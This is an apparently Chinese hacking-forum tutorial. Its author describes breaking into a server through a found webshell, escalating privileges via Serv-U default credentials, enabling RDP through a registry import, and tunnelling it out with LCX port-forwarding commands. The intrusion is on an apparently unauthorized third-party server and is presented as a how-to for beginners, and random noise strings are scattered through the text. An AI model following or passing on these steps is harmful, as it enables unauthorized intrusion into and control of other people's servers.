[原创文章] 一次简单的提权

简单

原创作者：huar
原创出处：3.A.S.T 网络安全技术团队
  G& L0 ^7 u. }' }3 D4 M
简单的提权教程，希望给还不会提权的兄弟们简单介绍下。
之前的一个shell，在翻看记事本的时候找到的，大致看了下，shell权限还是非常大的，于是就试试提下权。
  ]0 G8 ~* W; U1 E  w" ~# i
提权方法：SERU-U+LCX端口转发+注册表开3389端口9 ~; \2 l( M  j

在shell里看了下，WScript.shell等重要的组件没有被禁用，首先上传个cmd试下可以运行，在查看服务器开的端口时，发现服务器开了4899、43958等端口，是没有开3389端口的（截图提权之前未截取，抱歉``）。于是我就试下常用的Serv-U提权了,如果管理员大叔照顾我们这些小菜的话，那就太好了..

% W  N( ~3 Z& h6 U
先用默认账号密码试试，不过很幸运的是用默认账号密码提权成功了，嘿嘿``没想到管理员大叔这么照顾俺们这些小菜..接下来的路就好走多了~~
! E! }! ^, z" n+ Z. p; S0 X9 D
前面说了，服务器是没有开3389端口的，工欲善其事必先利其器，由于现在我手中没有免杀的开3389端口的工具，所以我们就想想其它的办法吧``最后想了下，我们可以用导入注册表的方法开启服务器的3389服务端口，最后上传个开3389的注册表文件，在Serv-U命令下成功导入,3389端口成功开启.0 K# E; v% J0 q9 E' h' F7 `3 O
; o, B. c0 z4 e
2 n0 D- O5 X* a: D# e" W" Z
还有就是服务器是在内网了，那我们就要用LCX做端口转发。% y; K3 }8 a3 x: a: \* l3 G
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） 3389( d' [4 P/ G9 g. e6 q" C0 D
本地机器运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
5 s6 b9 u; t# |$ X7 y2 v
具体的可以参考下呆呆版主做的视频教程，做的非常详细，在这里就不再多说什么了。( w; T3 G( x: I- O- K) N7 k9 f
  b4 @- k' y, a$ B- O5 G) A2 Z( \7 U
6 V, L& H6 H: k8 T) e# U! j
最后就是我的机器也在内网，LCX 转发端口到本地必须用公网ip，这个好办，路由器里有DMZ，可以用下这个功能的``嘿嘿~~1 n/ }8 }2 S! o& q. }

8 ?$ U: O6 g9 H
6 w; I9 u6 F# `# x' O
最后远程连接成功```6 ^) f. t' A% {+ X" r
. L& |  H% S$ [$ }

前几天还在议论INTEL和AMD的服务器处理器的问题呢``这次就遇见个AMD的服务器，嘿嘿`````& e8 ^' ^$ q! H  ^# Y1 {
感觉速度还可以````

附件: 您需要登录才可以下载或查看附件。没有帐号？注册

1 评分人数